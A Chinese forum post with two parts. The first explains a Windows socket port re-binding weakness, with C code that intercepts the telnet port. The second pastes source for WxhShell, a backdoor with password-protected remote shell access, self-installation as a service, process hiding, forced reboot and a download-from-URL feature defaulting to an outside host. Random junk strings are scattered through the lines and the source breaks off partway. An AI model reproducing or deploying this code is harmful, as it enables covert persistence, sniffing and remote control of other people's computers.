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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~{g/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z1tD2jL_  
pqvl,G5  
  saddr.sin_family = AF_INET; (=rDt93J  
E\Wd*,/v)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \8*j"@ !H  
us5Zi#}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kL s{B  
%iPIgma  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sMAH;'`!Eu  
StR)O))I  
  这意味着什么?意味着可以进行如下的攻击: T__@hfT  
~Gc@#Msj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y: C qQ  
o;9H~E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dC4`xUv  
UCmJQJc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B4*,]lS?  
Ts, U T L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )y!gApNs"  
3bLOT#t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e7iQG@i7  
?N+pWdi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _ZWU~38PM  
6V9r[,n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X`Lv}6}xT  
4`5W] J]6  
  #include %/U'Wu{*  
  #include |VE.khq#  
  #include W7s  
  #include    [vBP,_Tjx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tOF8v8Hd  
  int main() u ?F},VL;  
  { "a _S7K  
  WORD wVersionRequested; Zq: }SU  
  DWORD ret; W }Ll)7(|T  
  WSADATA wsaData; [N*S5^>1  
  BOOL val; ^755 LW  
  SOCKADDR_IN saddr; @VND}{j  
  SOCKADDR_IN scaddr; }!*|VdL0  
  int err; nR Hl Hu  
  SOCKET s; )g&nI <Mh  
  SOCKET sc; u,@ac[!vP  
  int caddsize; va(6?"9  
  HANDLE mt; }f{5-iwD}  
  DWORD tid;   s)'+,lKw  
  wVersionRequested = MAKEWORD( 2, 2 ); B'B0e`  
  err = WSAStartup( wVersionRequested, &wsaData ); ~y 2joStx  
  if ( err != 0 ) { vPZ0?r_5W  
  printf("error!WSAStartup failed!\n"); 0aGauG[  
  return -1; HWL? doM  
  } z {NK(oW  
  saddr.sin_family = AF_INET; ca,JQrm  
   cy8r}wD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GAR6nJCz  
2nFr?Y3g,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ( Q&jp!WU  
  saddr.sin_port = htons(23); isnpSN"z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mu" vj*F  
  { X)TZ  S  
  printf("error!socket failed!\n"); _s=<Y^l%x  
  return -1; /K,@{__JP  
  } |e+r~).4B  
  val = TRUE; su60j^e*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EcR[b@YI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;8]Hw a1!  
  { vl`St$$|  
  printf("error!setsockopt failed!\n"); ]RVme^=  
  return -1; *= %`f=  
  } .(Z^}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bL:+(/:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d.>O`.Mu)}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )C$Ij9<A  
Py9:(fdS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m KKa0"  
  { -&y&b-  
  ret=GetLastError(); N>j*{]OY+{  
  printf("error!bind failed!\n"); I$TD[W  
  return -1; s,laJf  
  } 2{hG",JL  
  listen(s,2); d)%l-jj9,  
  while(1) F9IPA%  
  { $reQdN=~  
  caddsize = sizeof(scaddr); EL *l5!Iu  
  //接受连接请求 MA 6uJT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *z'Rl'j9[  
  if(sc!=INVALID_SOCKET) hz2f7g  
  { 4l{La}Aj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dKPx3Y'  
  if(mt==NULL) :' !_PN  
  { p|r>tBv?x  
  printf("Thread Creat Failed!\n"); `Z`o[]%  
  break; )qWO}]F  
  } p:!FB8  
  } CS xB)-  
  CloseHandle(mt); MA mjoH  
  } 1ww~!R  
  closesocket(s); &9n=!S'Md  
  WSACleanup(); Y=UN`vRR  
  return 0; h9%.tGx  
  }   X*r?@uK5  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0M}Ql5+h,  
  { i8/"|+Z  
  SOCKET ss = (SOCKET)lpParam; x}7Xd P.2$  
  SOCKET sc; 0w$1Yx~C  
  unsigned char buf[4096]; aTLr%D:Ka  
  SOCKADDR_IN saddr; %A@U7gqc  
  long num; %)r1?H} #%  
  DWORD val; y$|OE%S  
  DWORD ret; J B  !Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DC$x}1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _ =(v? 2:?  
  saddr.sin_family = AF_INET; K+U0YMRmz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m?)F@4]  
  saddr.sin_port = htons(23); ns[h_g!j;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _lOyT$DN  
  { T,4REbm^  
  printf("error!socket failed!\n"); `7 J4h9K  
  return -1; pWGIA6&v(  
  } WODgG@w  
  val = 100; VBu6,6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pmDFmES  
  { }Do$oyAV$G  
  ret = GetLastError(); V#-8[G6Ra  
  return -1; E-#}.}i5  
  } qEPC]es|T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LkJ-M=y  
  { )}\J    
  ret = GetLastError(); i~*#z&4A+  
  return -1; z0tm3ovp  
  } PkdL] !:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Kx,<-]4  
  { R M`iOV,Y  
  printf("error!socket connect failed!\n"); *i7|~q/u  
  closesocket(sc); K&iU+  
  closesocket(ss); rge/qUr/^  
  return -1; :LR>U;2  
  } SDW!9jm>R  
  while(1) @(e/Y/  
  { eq36mIo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lLL)S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k`,>52  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 flU?6\_UC  
  num = recv(ss,buf,4096,0); wb-_CQ  
  if(num>0) Mg {=(No  
  send(sc,buf,num,0); 1&YkRCn0  
  else if(num==0) h\OMWJ~  
  break; @w[HXb  
  num = recv(sc,buf,4096,0); 0qo :M3  
  if(num>0) D +9l$**a  
  send(ss,buf,num,0); ~jOk?^6  
  else if(num==0) HS 1zA  
  break; 1:q5h*  
  } ~0gHh  
  closesocket(ss); ]AB4w+6!  
  closesocket(sc); @avG*Mr^  
  return 0 ; p!~V@l  
  } X~g~U|B@  
,A!0:+  
p+1kU1F0  
========================================================== 'di(5  
Eg#WR&Uq"  
下边附上一个代码,,WXhSHELL hW-?j&yJ?  
e:RgCDWL  
========================================================== j|ZhGerp  
JE/Kf<  
#include "stdafx.h" !&vPG>V  
[Xo[J?w],2  
#include <stdio.h> eq$.np  
#include <string.h> Jm*wlN [>  
#include <windows.h> yK:b $S  
#include <winsock2.h> b*"%E, ?  
#include <winsvc.h> :pgpE0  
#include <urlmon.h> &qae+p?  
rIWQD%Afm  
#pragma comment (lib, "Ws2_32.lib") m3 W  
#pragma comment (lib, "urlmon.lib") 7F wo t&  
05o 1  
#define MAX_USER   100 // 最大客户端连接数 /gq VXDY+`  
#define BUF_SOCK   200 // sock buffer *TP>)o  
#define KEY_BUFF   255 // 输入 buffer 45tQ$jr`1  
18gApRa  
#define REBOOT     0   // 重启 O3["5  
#define SHUTDOWN   1   // 关机 S/7?6y~  
UB|}+WA3  
#define DEF_PORT   5000 // 监听端口 nK9?|@S*'  
8~8VoU&  
#define REG_LEN     16   // 注册表键长度 #\$AB_[ot>  
#define SVC_LEN     80   // NT服务名长度 7 y'2  
aqN6.t  
// 从dll定义API J`d;I#R%c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ._US8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); % (x9~"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YS+|n%?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yk&PJ;%O<  
ppK`7J>Z  
// wxhshell配置信息 v<t r1cUT  
struct WSCFG { K)F6TvWv  
  int ws_port;         // 监听端口 ]?a i  
  char ws_passstr[REG_LEN]; // 口令 S;I}:F#5  
  int ws_autoins;       // 安装标记, 1=yes 0=no e4(E!;Z!QF  
  char ws_regname[REG_LEN]; // 注册表键名 i5jsM\1j  
  char ws_svcname[REG_LEN]; // 服务名 2N[/Cc2Tg/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q2~@z-q)b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R>n=_C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ($r-&]y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ipyr+7/zJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m>ApN@n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gX!-s*{E  
%oHK=],|1  
}; `0Bk@B[>  
yw+LT,AQ.  
// default Wxhshell configuration )>U7+ Me  
struct WSCFG wscfg={DEF_PORT, 0 pPSg9  
    "xuhuanlingzhe", /V$U%0  
    1, Z2D^]  
    "Wxhshell", -]k vM  
    "Wxhshell", aV`_@F-8  
            "WxhShell Service", rki0!P`  
    "Wrsky Windows CmdShell Service", ![9um sx  
    "Please Input Your Password: ", V3<H8pL  
  1, CWw#0  
  "http://www.wrsky.com/wxhshell.exe", b ]u01T-  
  "Wxhshell.exe" %+HZ4M+hV  
    }; $u P'>  
85Red~-M  
// 消息定义模块 XsbYWJdds  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `A ^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ME.a * v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \2!1fN  
char *msg_ws_ext="\n\rExit."; ;Bwg'ThT  
char *msg_ws_end="\n\rQuit."; 6tF_u D  
char *msg_ws_boot="\n\rReboot..."; l~Rd\.O  
char *msg_ws_poff="\n\rShutdown..."; ,u_ Z0S M  
char *msg_ws_down="\n\rSave to "; ]-"G:r  
d=d*:<Zx  
char *msg_ws_err="\n\rErr!"; 7oV$TAAf  
char *msg_ws_ok="\n\rOK!"; P+bA>lJd  
!!?TkVyEyM  
char ExeFile[MAX_PATH]; Xli$4 uL   
int nUser = 0; a|eHo%Qt  
HANDLE handles[MAX_USER]; W!t=9i  
int OsIsNt; ble[@VW|  
WJj5dqatV  
SERVICE_STATUS       serviceStatus; R,dbq4xkl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9wbj}tN\z  
fs\A(]`$  
// 函数声明 M`) /^S9  
int Install(void); c8 Je&y8  
int Uninstall(void); 1Y'NG<d _  
int DownloadFile(char *sURL, SOCKET wsh); H5>?{(m  
int Boot(int flag); G4](!f!Kv  
void HideProc(void); K*S3{s%UR  
int GetOsVer(void); D0^h;wJ=4+  
int Wxhshell(SOCKET wsl); /odDJxJ k  
void TalkWithClient(void *cs); *WaqNMD[%  
int CmdShell(SOCKET sock); N>xdX5  
int StartFromService(void); a(uZ}yS$  
int StartWxhshell(LPSTR lpCmdLine); 5yk#(i 7C  
->L>`<7(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LR#BP}\b'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %%FzBbWAO  
QTC!vKM  
// 数据结构和表定义 HT ."J  
SERVICE_TABLE_ENTRY DispatchTable[] = %z~=Jz^  
{ 55Ya(E  
{wscfg.ws_svcname, NTServiceMain}, ( 4(,"  
{NULL, NULL} "fu:hHq  
}; Z0%:j\W4c  
4i7+'F  
// 自我安装 49.B!DqQW&  
int Install(void) 5Mz:$5Tm  
{ 1]69S(  
  char svExeFile[MAX_PATH]; ny1;]_X_  
  HKEY key; pZz\o  
  strcpy(svExeFile,ExeFile); [ylRq7^e  
,pIh.sk7s*  
// 如果是win9x系统,修改注册表设为自启动 /mXxj93UA  
if(!OsIsNt) { i&YWutG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  stQ_Ke  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o$Ju\(Y$<+  
  RegCloseKey(key); m~0Kos%^*b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! k 1 Ge+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G>Hg0u0!,  
  RegCloseKey(key); Z@(KZ|  
  return 0; TJCE6QG  
    } LUdXAi"f  
  } !_P&SmK3  
} ;SIWWuk  
else { eG7Yyz+t$  
9l(T>B2a  
// 如果是NT以上系统,安装为系统服务 vUCmm<y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;5DDV6  
if (schSCManager!=0) \PWH( E9  
{ Wdi`Z E  
  SC_HANDLE schService = CreateService 0SDnMij&bf  
  ( # %EHcgF  
  schSCManager, 4Cv*zn  
  wscfg.ws_svcname, b~qH/A}h  
  wscfg.ws_svcdisp, hd6O+i Y4  
  SERVICE_ALL_ACCESS, XBoq/kbw!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w2db=9  
  SERVICE_AUTO_START, j#0JD!Vr  
  SERVICE_ERROR_NORMAL, IC?(F]$%>  
  svExeFile, $<yhEvv  
  NULL, uP+VS>b  
  NULL, +Qf}&D_  
  NULL, H@1}_d  
  NULL, |nE4tN#J<  
  NULL /3&MUB*z&y  
  ); SA7(EJ95  
  if (schService!=0) Re&"Q8I.8  
  { M*f]d`B  
  CloseServiceHandle(schService); P?S]Q19Q4  
  CloseServiceHandle(schSCManager); 5vg="@O K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sn"z'=ch  
  strcat(svExeFile,wscfg.ws_svcname); xv&h>GOg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hD=.rDvO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |c^?tR<  
  RegCloseKey(key); 1je j7p>K  
  return 0; <v'&Pk<  
    } )U=]HpuzI  
  } sM+~x<}0  
  CloseServiceHandle(schSCManager); <z\`Ma  
} ?U{<g,^  
} ^GyZycch  
2,wwI<=E'  
return 1; N<1+aL\  
} <Se9 aD  
2?SbkU/3|P  
// 自我卸载 'NZ=DSGIy  
int Uninstall(void) kRc+OsY9  
{ xx(C$wCJ  
  HKEY key; =J4|"z:  
1X&.po  
if(!OsIsNt) { fbU3-L?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lLDZ#'&An  
  RegDeleteValue(key,wscfg.ws_regname); [}]yJ+)  
  RegCloseKey(key); rlD!%gG2x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *= ?|n   
  RegDeleteValue(key,wscfg.ws_regname); 9! /kyyU  
  RegCloseKey(key); a{.q/Tbt  
  return 0; I}m20|vv  
  } > (9\ cF{  
} A&bj l[s  
} a]T&-#c,}  
else { x-e6[_F  
Lm=;Y6'`N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X fqhD&g  
if (schSCManager!=0) tM^4K r~o,  
{ "L:4 7!8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &iVdqr1,  
  if (schService!=0) X.#)CB0c1Q  
  { P6R_W  
  if(DeleteService(schService)!=0) { RFy MRE!?  
  CloseServiceHandle(schService); yji[Yde;|  
  CloseServiceHandle(schSCManager); BqY_N8l&E  
  return 0; V*{rHp{=p  
  } .z.4E:Iq  
  CloseServiceHandle(schService); 5OppK(Oi*C  
  } ZGDT 6,  
  CloseServiceHandle(schSCManager); @J"tM.  
} uO`MA% z<  
} O|~C qb  
EgU#r@7I  
return 1; =jJEl=*S  
} o]Rlivahm  
qQi\/~Y[:  
// 从指定url下载文件 4] uj+J  
int DownloadFile(char *sURL, SOCKET wsh) 6:O<k2=2  
{ }}{n|l+R5  
  HRESULT hr; 8v4 o+w P  
char seps[]= "/"; #5Z`Q^  
char *token; IF|6iKCE  
char *file; yjg&/6  
char myURL[MAX_PATH]; 6FQi=}O1  
char myFILE[MAX_PATH]; 8.#{J&h  
s:Ml\['x  
strcpy(myURL,sURL); +7^p d9F.  
  token=strtok(myURL,seps); 1J4Pnl+hN  
  while(token!=NULL) -(8I?{"4i  
  { :t{~Mi=T  
    file=token; ]MV8rC[\  
  token=strtok(NULL,seps); <aJQV)]\  
  } jb -kg</A  
67YC;J]n=z  
GetCurrentDirectory(MAX_PATH,myFILE); o^\Pt<~W  
strcat(myFILE, "\\"); 0(D^NtB7  
strcat(myFILE, file); /v8Q17O?e  
  send(wsh,myFILE,strlen(myFILE),0); 2t-w0~O  
send(wsh,"...",3,0); Ki2!sADd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3/@z4:p0R  
  if(hr==S_OK) >s f g`4  
return 0; _!R$a-  
else )rD!4"8/A  
return 1; x8PT+KC  
r8J7zTD&  
} #Ub_m@@ 4  
hTr5Q33y>  
// 系统电源模块 7{L4a\JzT  
int Boot(int flag) T)rE#"_]{  
{ L^3&  
  HANDLE hToken; .$%p0Yx+  
  TOKEN_PRIVILEGES tkp; ,erf{"Nh  
s9;6&{@%wO  
  if(OsIsNt) { $(aq;DR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _1p8(n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HYmC3  
    tkp.PrivilegeCount = 1; l%0bF9\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; " B#|C'   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QO/0VB42  
if(flag==REBOOT) { 50W+!'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ["Ltqgx  
  return 0; 5^u$zfR  
}  ?pTX4a&>  
else { D(#f`Fj;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $zM shLT  
  return 0; mll :rWC)  
} sjr,)|#[  
  } qN)y-N.LI(  
  else { Ey&H?OFiP  
if(flag==REBOOT) { d;Vy59}eY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~&i4FuK  
  return 0; ` p\=NP!n  
} N{;!xI v  
else { ;sZG=y@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s[yWBew  
  return 0; Cbw *? 9d  
} r~t`H*C)}  
} jxh:z  
WQK<z!W5  
return 1; m+kP"]v  
} ,c p2Fac  
FzT.9Vz7  
// win9x进程隐藏模块 U(#<D7}  
void HideProc(void) {ez $kz  
{ `>gG"1,]  
 wA"@t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'o >)E>  
  if ( hKernel != NULL ) K}~$h,n  
  { zX>W 8P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >lQo _p(;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x sryXex;  
    FreeLibrary(hKernel); I`kfe`_  
  } 9DxHdpOk  
w,LtQhQ  
return; CLR1 CGnn7  
} O VV@  
m[9.'@ ye  
// 获取操作系统版本 : \+xXb{  
int GetOsVer(void) >XD?zF)6  
{ Ot t6y  
  OSVERSIONINFO winfo; 5)k8(kH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uN|A}/hr]  
  GetVersionEx(&winfo); `g)}jo`W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bt+^H6cb  
  return 1; MMM tB6  
  else 7L{1S v  
  return 0; `ONjEl  
} m>@hh#kBg  
X z+%Ym  
// 客户端句柄模块 *o6}>;  
int Wxhshell(SOCKET wsl) bx0.(Nv/X  
{ AjC:E+g  
  SOCKET wsh; :t}\%%EbmE  
  struct sockaddr_in client; b\k]Jx  
  DWORD myID; h)KHc/S  
jEc_!Q  
  while(nUser<MAX_USER) YG "Ta|@5  
{ L:R4&|E/t  
  int nSize=sizeof(client); {f/qI`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IGdiIhH~2  
  if(wsh==INVALID_SOCKET) return 1; ^|]&"OaB Z  
BQ@7^E[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XH%L]  
if(handles[nUser]==0) aAo|3KCs  
  closesocket(wsh); F^i3e31*t  
else Wv;0PhF  
  nUser++; LD$5KaOW  
  } Z*,e<zNQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Av X1*  
N'Gq9A  
  return 0; XHr*Rs.[=  
} <Vat@e  
Wh[QR-7Ew  
// 关闭 socket [BWq9uE  
void CloseIt(SOCKET wsh) 54 lD+%E  
{ *FS8]!Qg  
closesocket(wsh); `KJ( .m  
nUser--; SQp|  
ExitThread(0); ( xs'D4  
} pGbfdX  
!ifU}qFzK  
// 客户端请求句柄 DeO-@4+qKd  
void TalkWithClient(void *cs) FXQWT9Kk~_  
{ ke4E 1T-1n  
LCF}Y{  
  SOCKET wsh=(SOCKET)cs;  j]u!;]  
  char pwd[SVC_LEN]; \Z-th,t  
  char cmd[KEY_BUFF]; y7Po$)8l  
char chr[1]; !b8V&<  
int i,j; F'bwXb**  
}K{1Bm@S  
  while (nUser < MAX_USER) { i Ha?b2=)  
=u.@W98, K  
if(wscfg.ws_passstr) { E$ d#4x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5E!C?dv(z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &5 CRXf  
  //ZeroMemory(pwd,KEY_BUFF); 5ut| eD`3  
      i=0; L*@`i ]jl  
  while(i<SVC_LEN) { mypV[  
Ayz*2 N`%  
  // 设置超时 > I2rj2M#  
  fd_set FdRead; S|85g1}t  
  struct timeval TimeOut; *t@A-Sn  
  FD_ZERO(&FdRead); +;N]34>S7  
  FD_SET(wsh,&FdRead); Q@D7 \<t  
  TimeOut.tv_sec=8; VtBC~?2U)B  
  TimeOut.tv_usec=0; YIQD9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yx-{Pj X   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b!<_ JOL2.  
L9GLj Rp-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q+g,?;Yx  
  pwd=chr[0]; b--=GY))F  
  if(chr[0]==0xd || chr[0]==0xa) { ~Y 6'sM|  
  pwd=0; O<u=Vz3c~0  
  break; S{c/3k~  
  } *a9cBl'_  
  i++; *"%TAe7?~+  
    } ]\, ?u /  
["-rD y P  
  // 如果是非法用户,关闭 socket z0"t]4s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <Ap_#  
} B8&q$QV  
q_MN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \PrJy6&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iw@rW5%'~  
L9b.D<  
while(1) { u3T-U_:jSV  
mm/\\my  
  ZeroMemory(cmd,KEY_BUFF); rrD6x>  
TdhfX{nk  
      // 自动支持客户端 telnet标准   TxrW69FV7  
  j=0; I _nQTWcm  
  while(j<KEY_BUFF) { "1O_h6 C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UXm_-/&b9  
  cmd[j]=chr[0]; ,d"T2Hy  
  if(chr[0]==0xa || chr[0]==0xd) { &<&tdShI  
  cmd[j]=0; jqUVERbc  
  break; i~@gI5[k+  
  } ^e:z ul{;]  
  j++; }:m#}s  
    } l6M?[  
,=/9Ld2w9  
  // 下载文件 ,Py\Cp=Dw  
  if(strstr(cmd,"http://")) { Sd+5Uf `  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qv!(In>u  
  if(DownloadFile(cmd,wsh)) K #3^GB3P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :1'  
  else L+t / E`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]U?nYppV  
  } }$ y.qqG  
  else { G[64qhTC  
pPReo)  
    switch(cmd[0]) { l`v5e"V  
  ;-db/$O  
  // 帮助 d$ouH%^cGu  
  case '?': { &RR;'wLoQT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D  T5d]MU  
    break; u>XXKlW:  
  } ; 476t  
  // 安装 Agc ss20.  
  case 'i': { c`E>7Hjr-  
    if(Install()) #MC#K{Xd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &;Ncc,jb  
    else O,$*`RZpx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fB2ILRc  
    break; ak7%  
    }  \XDiw~0  
  // 卸载 \f,<\mJ#  
  case 'r': { }8'_M/u\  
    if(Uninstall()) 5i br1zs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yy~x`P'g!  
    else e$L C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Po>laT 5  
    break; 8mX!mYO3c  
    } +3,7 Apj  
  // 显示 wxhshell 所在路径 Th_@'UDa  
  case 'p': { Agd"m4!  
    char svExeFile[MAX_PATH]; <bcf"0A  
    strcpy(svExeFile,"\n\r"); lMv6QL\>'  
      strcat(svExeFile,ExeFile); \VPw3  
        send(wsh,svExeFile,strlen(svExeFile),0); "8QRYV~Z  
    break; =!Ik5LiD  
    } {i>AQ+z61f  
  // 重启 !@C-|=9G  
  case 'b': { Zpd-ob  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'o='Q)Dk  
    if(Boot(REBOOT)) E:` _P+2p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L15)+^4n  
    else { s}zR@ !`  
    closesocket(wsh); :3F[!y3b  
    ExitThread(0); ^EIuGz1@0  
    } 0fc;H}B*  
    break; \Z.r Pq  
    } CvIuH=,  
  // 关机 f]*;O+8$LN  
  case 'd': { enk`I$Xx  
